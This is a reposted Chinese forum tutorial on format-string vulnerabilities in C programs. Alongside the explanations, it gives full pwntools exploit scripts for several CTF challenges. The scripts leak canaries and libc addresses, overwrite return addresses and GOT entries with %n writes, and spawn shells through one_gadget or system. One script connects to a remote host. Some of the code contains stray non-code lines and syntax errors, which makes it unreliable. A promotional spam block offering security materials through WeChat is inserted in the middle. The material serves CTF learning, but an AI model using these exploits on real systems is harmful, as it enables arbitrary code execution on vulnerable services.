ToB企服应用市场:ToB评测及商务社交产业平台

标题: PWN学习之格式化字符串及CTF常见利用手法 [打印本页]

作者: 大连全瓷种植牙齿制作中心    时间: 2024-4-30 11:18
标题: PWN学习之格式化字符串及CTF常见利用手法
格式化字符串的基本漏洞点

格式化字符串漏洞是一种常见的安全漏洞类型。它利用了程序中对格式化字符串的处理不当,导致可以读取和修改内存中的任意数据。
格式化字符串漏洞通常发生在使用 C 或类似语言编写的程序中,其中 printf、sprintf、fprintf 等函数用于将数据格式化为字符串并进行输出。当这些函数的格式字符串参数(比如 %s、%d等)由用户提供时,如果未正确地对用户提供的输入进行验证和过滤,就可能存在格式化字符串漏洞。
攻击者可以通过构造特定的格式化字符串,利用漏洞读取和修改程序内存中的敏感数据。一些可能的攻击方式包括:
常用任意改:%c和%n的配合使用

我们格式化字符串修改的是第一层指针中的内容 即我们只能写a->b->c中c的内容
  1. p64()+b'%nc'+'%A$n'
  2. #第A位栈中偏移位    向第A位的地址中改写为数字n的大小,一次n只能最多改4个字节大小的数据
复制代码
在漏洞利用中,%n、%hn和%hh都可以用于将已经存储在堆栈上的数值写入内存中的任意位置。这些格式字符串的容量取决于它们所针对的底层数据类型 %n格式字符串用于将已经打印出来的字符数(而不是已经写入输出缓冲区的字符数)写入指定地址。因此,它的容量取决于可控制的输出大小,通常在4字节范围内。 %h格式字符串将16位无符号整数写入指定地址。由于其只能写入两个字节,因此其容量范围为0到65535。 %hhn格式字符串将8位无符号整数写入指定地址。由于其只能写入一个字节,因此其容量范围为0到255。 需要注意的是,使用这些格式字符串时,必须非常小心以确保正确性和安全性。在使用这些格式字符串进行漏洞利用时,一定要避免访问未初始化或已释放的内存,还要考虑操作系 统和编译器的内存布局和字节顺序等问题。
不同版本的堆管理和栈偏移有可能不一样c

One_gadget 结合应用:

one_gadget在进行getshell ()前要先满足寄存器的条件
另一种可能的方法:

如果能泄露出栈地址,就能够像非栈上的格式化字符串那样,将布置的栈结构放在栈上然后劫持返回地址,就可以达到多次写的效果。(即利用可以利用多次的格式化字符串)
例题:国际赛final_ctf 2(同时读写加One_gadget):

解题步骤

首先我们直接先进行代码审计如下图:
[img=720,312.60759493670884]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526817.png[/img]
我们发现了他的基本漏洞点为栈上的格式化字符串
漏洞利用和需要注意的点

我们进行该漏洞点的利用:首先查看栈上状况
[img=720,337.17981888745146]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526819.png[/img]
我们在这里需要同时一次读写机会利用栈上的格式化字符串任意读写
所以要考虑到截断的问题所以要进行截断的避免,我们调整payload在最后填入栈上的对应偏移的地址填为size的bss地址进行格式化字符串改,改完之后效果如下:
[img=720,337.17981888745146]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526820.png[/img]
最后再使用一次ubuntu20.04下的one_gadget设置即可getshell
【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
注意这里为了满足20.04下严苛的条件我们需要对寄存器进行设置
[img=720,283.9907192575406]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526821.png[/img]
> pop_r12:0x40086c
> pop=0x040086c#pop了5个寄存器
> one_gadget_offset=[0xe3afe,0xe3b01,0xe3b04]#one_gadget libc版本查看可以利用的gadget
> one_gadget_addr=libc_base+one_gadget_offset[0]#20840  
> #最后打one
> payload2=b'a'*(0x48)+p64(canary)+b'a'*8+p64(pop)+p64(0)+p64(0)+p64(0)+p64(0)+p64(one_gadget_addr)#20 onegadgetliyong
> p.sendlineafter(b'affiliation: \n',payload2)#将寄存器赋空值满足one_gadget的触发条件
最后exp如下
  1. from pwn import*
  2. #from LibcSearcher import *
  3. context(log_level='debug',arch='amd64',os='linux')
  4. choice=1
  5. if choice == 1:
  6.    p=process('./one-format-string')
  7. libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")#当前链接的libc版本
  8. elf=ELF('./one-format-string')
  9. address=0x400780
  10. gdb.attach(p,"finish\n b *address")
  11. sleep(1)
  12. size=0x601060   #14
  13. payload=b'aaaaa'+b'%27$p|%23$p'+b'bbbbbb'+b'%256c'+b'%18$n'+p64(0x601060)#同时读写
  14. #这里的最后的size地址是为了填到栈上相对应的偏移位置我们可以直接对其进行修改
  15. p.sendlineafter(b'name: \n',payload)
  16. p.recvuntil("aaaaa")
  17. main_start_243=int(p.recv(14),16)
  18. libc_base = main_start_243 - 0xf3 - libc.symbols['__libc_start_main']
  19. print("leak_addr",hex(main_start_243))
  20. print("libc_base",hex(libc_base))
  21. p.recvuntil(b'|')
  22. canary=int(p.recv(18),16)
  23. pop_r12:0x40086c
  24. print("canary",hex(canary))
  25. pop=0x040086c#pop了5个寄存器
  26. one_gadget_offset=[0xe3afe,0xe3b01,0xe3b04]#one_gadget libc版本查看可以利用的gadget
  27. one_gadget_addr=libc_base+one_gadget_offset[0]#20840  
  28. #最后打one
  29. payload2=b'a'*(0x48)+p64(canary)+b'a'*8+p64(pop)+p64(0)+p64(0)+p64(0)+p64(0)+p64(one_gadget_addr)#20 onegadgetliyong
  30. p.sendlineafter(b'affiliation: \n',payload2)#将寄存器赋空值满足one_gadget的触发条件
  31. p.interactive()
复制代码
这里需要注意的点
是我们要考虑printf对\X00 字符串的截断
正确的payload.只有这一种形式:payload=b'aaaaaa'+b'%20$p %23$p'+b'bbbbbb'+b'%256c'+b'%18$n'+p64(0x601060)
因为x00的存在,所以Printf:无法使用到后面的%16$n
补充:c语言下的所有格式化识别符

C语言中的格式化字符是用于格式化输出的占位符,常用于printf等函数中。下面是常用的格式化字符及其含义:
需要注意的是,这些格式化字符可以与其它字符组合使用,例如%d和%10d分别表示输出有符号整数和输出宽度为10个字符的有符号整数。
C++ 中的格式化字符串的识别符与 C 语言是基本相同的,也包括上述提到的常用的格式化字符。不过 C++ 中还增加了一些额外的格式化字符串识别符,例如:
需要注意的是,不同编译器可能对 C 和 C++ 的格式化字符串识别符实现略有不同,所以在使用时需要根据实际情况进行调整。
ctf中不同考察点的例题以及思路解析:

[虎符CTF 2022]babygame(格式化字符串和随机数绕过)


保护全开,我们进行静态代码审计


通过观察他的canary可以看到他在栈中的位置

[img=720,440.4359673024523]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526825.png[/img] 思路: 1.先通过回显泄露canary和栈地址
注意但是我们知道canary的上面就是seed,所以此时的seed已经被我们覆盖为0x6161616161616161了
2.通过修改函数的返回地址的最后两个字节再次进行一次格式化字符串利用 3.打one_gad
exp如下:
  1. from pwn import *
  2. from LibcSearcher import *
  3. context.log_level = 'debug'
  4. context.arch = 'amd64'
  5. io = process('./babygame')
  6. io.sendlineafter(b'Please input your name:', b'1234567890' * 26 + b'aaaaa')
  7. io.recvuntil(b'Hello, ')
  8. io.recv(260 + 12)
  9. stack_addr = u64(io.recv(6) + b'\x00\x00')
  10. srand = 0x30393837
  11. answer = [1, 2, 2, 1, 1, 1, 1, 2, 0, 0,
  12.          2, 2, 2, 1, 1, 1, 2, 0, 1, 0,
  13.          0, 0, 0, 1, 0, 1, 1, 2, 2, 1,
  14.          2, 2, 2, 1, 1, 0, 1, 2, 1, 2,
  15.          1, 0, 1, 2, 1, 2, 0, 0, 1, 1,
  16.          2, 0, 1, 2, 1, 1, 2, 0, 2, 1,
  17.          0, 2, 2, 2, 2, 0, 2, 1, 1, 0,
  18.          2, 1, 1, 2, 0, 2, 0, 1, 1, 2,
  19.          1, 1, 1, 2, 2, 0, 0, 2, 2, 2,
  20.          2, 2, 0, 1, 0, 0, 1, 2, 0, 2]
  21. for i in range(100):
  22.    try:
  23.        io.sendlineafter(b'round', str(answer[i]).encode())
  24.    except EOFError:
  25.        print("Failed in " + str(i))
  26.        exit(0)
  27. io.sendlineafter(b'Good luck to you.',
  28.    b'%62c%8$hhna%79$p' + p64(stack_addr - 0x218))
  29. io.recvuntil(b'0x')
  30. libc_addr = int(io.recv(12).decode(), 16)
  31. print(hex(libc_addr))
  32. libc_addr -= 243
  33. Libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
  34. base = libc_addr - Libc.symbols['__libc_start_main']
  35. libc_system_addr = Libc.symbols['system']
  36. mem_system_addr = base + libc_system_addr
  37. print(hex(stack_addr - 0x218))
  38. one_gadget = [0xE3B2E + base, 0xE3B31 + base, 0xE3B34 + base]
  39. payload = fmtstr_payload(6, {stack_addr - 0x218: one_gadget[1]})
  40. io.sendlineafter(b'Good luck to you.', payload)
  41. io.interactive()
复制代码
与malloc和free相关的格式化字符串漏洞

alloca函数(在栈上分配空间)
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <alloca.h>
  4. int open_file (const char *dir, const char *file)
  5. {
  6.   char *name = (char *) alloca (strlen (dir) + strlen (file) + 2);
  7.   strcpy (name, dir);
  8.   strcat (name, "/");
  9.   strcat (name, file);
  10.   return open (name, O_RDONLY);
  11. }
复制代码
这个函数用alloca函数在栈上分配了一个足够存储两个参数字符串拼接后的文件名的空间,并返回打开该文件的文件描述符或-1表示失败。当函数返回时,name指向的内存会自动释放。

当然,alloca也有一些缺点和限制,比如:

利用思路:

printf函数在输出较多内容时,会调用malloc函数分配缓冲区,输出结束之后会调用free函数释放申请的缓冲区内存。同样的scanf函数也会调用malloc。
[SDCTF 2022]Oil Spill(在栈上输入的动化格式化字符串漏洞随意写)

此工具的下载地址:
Linux Pwn - pwntools fmtstr模块 | lzeroyuee’s blog fmtstr_payload用于自动生成格式化字符串payload
  1. pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') → str
复制代码
[img=720,192.5748502994012]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526826.jpg[/img]
exp如下
  1. from pwn import *
  2. from ctypes import *
  3. from LibcSearcher import *
  4. def s(a):
  5.     p.send(a)
  6. def sa(a, b):
  7.     p.sendafter(a, b)
  8. def sl(a):
  9.     p.sendline(a)
  10. def sla(a, b):
  11.     p.sendlineafter(a, b)
  12. def r():
  13.     p.recv()
  14. def pr():
  15.     print(p.recv())
  16. def rl(a):
  17.     p.recvuntil(a)
  18. def inter():
  19.     p.interactive()
  20. def debug():
  21.    gdb.attach(p)
  22.    pause()
  23. def get_addr():
  24.     return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  25. context(os='linux', arch='amd64', log_level='debug')
  26. #p = process('./pwn')
  27. p = remote('43.142.108.3', 28194)
  28. elf = ELF('./pwn')
  29. libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
  30. def ga():
  31.     rl(b'0x')
  32.     return int(p.recvuntil(b',')[:-1], 16)
  33. puts = ga()
  34. printf = ga()
  35. stack = ga()
  36. libc_base = puts - libc.sym['puts']
  37. one_gadget = libc_base + 0x10a2fc
  38. system = libc_base + libc.sym['system']
  39. #gdb.attach(p, 'b *0x400738')
  40. sla(b'it?\n', fmtstr_payload(8, {elf.got['puts']:system, 0x600C80:b'/bin/sh\x00'}))
  41. #pause()
  42. inter()
  43. print(hex(puts), hex(printf), hex(stack))
复制代码
非栈上的格式化字符串漏洞

这里先贴两张大体的利用思路如下:
间接写地址:间接向栈上某个地址套入地址的值
  [img=720,420.48]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526827.jpg[/img]
[img=720,194.04]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526828.jpg[/img]
当程序mian返回时就会执行libc_start_main位置开始及其往下的gadget
1.可以改got表的()

因为只能写第一层指针,所以我们要进行跳板式的写入(一般第一步用有三层指针偏移地址处进行操作),多次间接写入,找与目标改地址很像的位置作为二级跳板可以少改写几位
注意事项:

1.0要改三个或者四个字节的时候我们可以通过多个跳板先改高位再改低位

1.01如果 system 中的数据是 0x7fffffffffff320a,那么执行 (system>>16)&0xff 将得到以下结果:
  1. (system >> 16) = 0x7fff_ffff_ffff
  2. 0xff          = 0x0000_00ff
  3. ---------------------------
  4.                0x0000_00ff
复制代码
因此,这个表达式的结果是十进制数值 255 或十六进制数值 0xff。
1.02一次格式化字符串改写两次的时候要注意第一次输出的字符数对第二次的影响(因此一次输入的时候要减去第一次已经打印的字符数)

[img=720,110.26573426573427]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526829.jpg[/img]
1.03与运算0xff是保留最低一位数据以此类推

[img=720,167.0235546038544]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526830.png[/img]
疑问:

1.1为什么要用next来遍历接收/bin/sh?

使用 next() 方法是因为 pwntools 库的 search() 函数返回的是一个生成器(generator)对象,而非列表。生成器是一种特殊的迭代器,它不会在内存中保存所有元素的值,而是根据需要逐个生成每个值。这种方式可以避免占用太多内存,特别是在搜索大型 ELF 文件时。 由于生成器只能使用一次,因此必须通过调用 next() 方法来逐个获取其中的元素。在本例中,我们只需要获取第一个匹配结果的地址,因此使用 next() 可以方便地获得该地址,并将其与 libc_base 相加得到最终的 sh_addr 值。 如果直接调用 libc.search("/bin/sh"),则无法直接获取匹配结果的地址,而且每次调用都会重新搜索整个 ELF 文件。因此,使用 next(libc.search("/bin/sh")) 可以更方便地获取地址,并避免重复搜索文件的开销
1.3如何更改写入的位置?

修改got表的时候:
另外找一个与要修改的got地址相差不大的栈中所存的地方,分别记为A,B,然后第一次布置到A处修改got表X字节,第二次布置到B处修改got表+X字节处的地址,如图所示
 
第一次修改前
 
 
[img=720,151.2]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526831.jpg[/img]
 
 
第一次修改后
 
 
[img=720,110.6312292358804]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526832.jpg[/img]
 
 
第二次修改前
 
 
[img=720,148.21650399290152]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526833.jpg[/img]
 
 
第二次修改后
 
 

 
  1. log.success("one_gadget:"+hex(one_gadget_addr))
  2. yes1=str((stack_tar)&0xffff)
  3. yes2=str((one_gadget_addr)&0xffff)
  4. yes3=str((stack_tar+2)&0xffff)
  5. yes4=str((one_gadget_addr>>16)&0xff)
  6. pay='%{}c%{}$hn'.format(yes1,10)
  7. pay2='%{}c%{}$hn'.format(yes2,39)
  8. pay3='%{}c%{}$hn'.format(yes3,10)
  9. pay4='%{}c%{}$hhn'.format(yes4,39)
复制代码
或者利用一个地址进行多次修改也可以原理跟那个一样
1.2(1)例:

0x7fffffaaa093与0xff处理则只剩最第一字节0x93
不可以修改got表的(开了full ASRL)

思路:改写_libc_main_start成one_gadget(_libc_main_start是main函数退出后会从这里开始执行)

2023铁人三项的fmstr(知识点用到的跟上面一样)
  1. from pwn import *
  2. from ctypes import *
  3. #from LibcSearcher import *
  4. context(os='linux', arch='amd64', log_level='debug')
  5. def s(a) : p.send(a)
  6. def sa(a, b) : p.sendafter(a, b)
  7. def sl(a) : p.sendline(a)
  8. def sla(a, b) : p.sendlineafter(a, b)
  9. def r() : return p.recv()
  10. def pr() : print(p.recv())
  11. def rl(a) : return p.recvuntil(a)
  12. def inter() : p.interactive()
  13. def debug():
  14.    gdb.attach(p)
  15.    pause()
  16. def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  17. def get_shell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
  18. p = process('./fmtstr')
  19. #p = remote('1.14.71.254', 28966)
  20. elf = ELF('./fmtstr')
  21. libc= ELF('/home/pwngo/libc-2.33.so')
  22. sla(b'first.\n',b'aaaa')
  23. #debug()
  24. sla(b'password\n',b'aa%16$p..%9$pbb%10$p')
  25. p.recvuntil(b'aa')
  26. elf_base = int(p.recv(14),16)-0x1140
  27. pop_r12_r15=elf_base+0x13fc
  28. p.recvuntil(b'..')
  29. main_start_213=int(p.recv(14),16)
  30. print(hex(main_start_213))
  31. libc_base = main_start_213 - 0xD5(F3或者F0) - libc.symbols['__libc_start_main']
  32. p.recvuntil(b'bb')
  33. stack=int(p.recv(14),16)
  34. log.success("stack:"+hex(stack))
  35. log.success("elf_base:"+hex(elf_base))
  36. log.success("libc_base:"+hex(libc_base))
  37. print(hex(pop_r12_r15))
  38. system = libc_base + libc.sym['system']
  39. log.success("shell:"+hex(system))
  40. # sla(b'',"aaa")
  41. stack_tar=stack-0xf0
  42. #泄露的栈是三级跳板处的栈地址,我们以此为中心根据偏移找不同的栈地址
  43. log.success("stack_tar:"+hex(stack_tar))
  44. #debug()
  45. #下面是根据_libc_main_start改写成one_gadget的脚本
  46. one_gadget_offset=[0xde78c,0xde78f,0xde792]#one_gadget libc版本查看可以利用的gadget
  47. one_gadget_addr=libc_base+one_gadget_offset[1]
  48. log.success("one_gadget:"+hex(one_gadget_addr))
  49. yes1=str((stack_tar)&0xffff))
  50. yes2=str((one_gadget_addr)&0xffff)#0xffff指的是保留末两位字节,详细讲解看上面的解释
  51. yes3=str((stack_tar+2)&0xffff)
  52. yes4=str((one_gadget_addr>>16)&0xff)#右移2位导致&0xff之后取到倒数第三个字节
  53. pay='%{}c%{}$hn'.format(yes1,10)
  54. pay2='%{}c%{}$hn'.format(yes2,39)
  55. pay3='%{}c%{}$hn'.format(yes3,10)#python中的占位符
  56. pay4='%{}c%{}$hhn'.format(yes4,39)
  57. sla(b'again\n',pay)
  58. sla(b'again\n',pay2)
  59. sla(b'again\n',pay3)
  60. sla(b'again\n',pay4)
  61. p.interactive()
复制代码
(安洵)heap上格式化字符串并且不是改main函数ret返回地址

代码审计

[img=720,273.38654503990875]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526835.png[/img]


这个for循环说明了我们只是把ptr的字符存在栈上,而每次printf(ptr的时候都是一次格式化字符串)

ralloc函数(与堆操作相关)

realloc函数是C语言标准库中的一个函数,用于重新分配内存块的大小。它可以扩大或缩小一个已分配的内存块,也可以用于在堆上分配新的内存块。 realloc函数的定义如下:
  1. void *realloc(void *ptr, size_t size);
复制代码
其中,ptr是指向已分配内存块的指针,size是新的内存块大小。realloc函数返回一个指针,指向重新分配后的内存块。 realloc函数的使用流程如下:
exp如下:
  1. from pwn import *
  2. from struct import pack
  3. from ctypes import *
  4. import hashlib
  5. def s(a):
  6.    p.send(a)
  7. def sa(a, b):
  8.    p.sendafter(a, b)
  9. def sl(a):
  10.    p.sendline(a)
  11. def sla(a, b):
  12.    p.sendlineafter(a, b)
  13. def r():
  14.    p.recv()
  15. def pr():
  16.    print(p.recv())
  17. def rl(a):
  18.    return p.recvuntil(a)
  19. def inter():
  20.    p.interactive()
  21. def debug():
  22.    gdb.attach(p)
  23.    pause()
  24. def get_addr():
  25.    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  26. def get_sb():
  27.    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
  28. context(os='linux', arch='amd64', log_level='debug')
  29. p = process('./harde_pwn')
  30. #p = remote('47.108.165.60', 42545)
  31. elf = ELF('./harde_pwn')
  32. libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  33. c_libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
  34. sa(b'game!\n', p64(0)*4)
  35. c_libc.srand(0)
  36. for i in range(21):
  37.    sla(b'input: \n', str((c_libc.rand() ^ 0x24) + 1))
  38. sa(b'input your data ;)\n', b'%8$p%11$p%7$p')
  39. rl(b'0x')
  40. stack = int(p.recv(12), 16)
  41. rl(b'0x')
  42. libc_base = int(p.recv(12), 16) - 243-libc.symbols['__libc_start_main']
  43. ret = stack - 8
  44. ptr = stack - 0x18
  45. rbp = stack - 0x10
  46. rl(b'0x')
  47. heap_base = int(p.recv(12), 16) - 0x2a0
  48. debug()
  49. one_gadget = libc_base + 0xebcf8
  50. printf_ret = ptr - 0x10
  51. print(' printf_ret -> ', hex(printf_ret))
  52. print(' heap_base -> ', hex(heap_base))
  53. print(' stack -> ', hex(stack))
  54. print(' libc_base -> ', hex(libc_base))
  55. for i in range(6):
  56.    sa(b'input your data ;)\n', b'%' + str((rbp + i) & 0xffff).encode() + b'c%28$hn\x00')
  57.    sa(b'input your data ;)\n', b'%' + str((one_gadget >> i*8) & 0xff).encode() + b'c%41$hhn\x00')
  58. #rbp写成存onegadget
  59. sa(b'input your data ;)\n', b'%' + str(printf_ret & 0xffff).encode() + b'c%28$hn\x00')
  60. sa(b'input your data ;)\n', b'%' + str(0xb1).encode() + b'c%41$hhn\x00')
  61. #改一次rbo
  62. inter()
复制代码
技巧补充

改大地址:

利用不是在栈上的格式化字符串的时候我们都要明白一个原理:[img=720,675.5189456342669]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526837.jpg[/img]
当你对绿圈的格式化偏移进行修改时,真正被修改的是箭头所指向的低地址处,这也是找跳板的意义
for i in range(6): sa(b'input your data ;)\n', b'%' + str((rbp + i) & 0xffff).encode() + b'c%28$hn\x00') sa(b'input your data ;)\n', b'%' + str((one_gadget >> i*8) & 0xff).encode() + b'c%41$hhn\x00')
像上面一样我们可以每改一次将rbp的地址加**某个数进行错位改大数字,**跟异位伪造doublefree的fd头有相同的思想
有可能可以再利用一次leava或者ret

[img=720,366.55629139072846]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202402181526838.jpg[/img] 
我们看到rsp现在跟在rbp前3单位处,我们没pop一次(ret)rsp的地址就会增加一个单位,当我们三次pop的时候我们的rsp就会跟rbp重合,从而getshell。
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4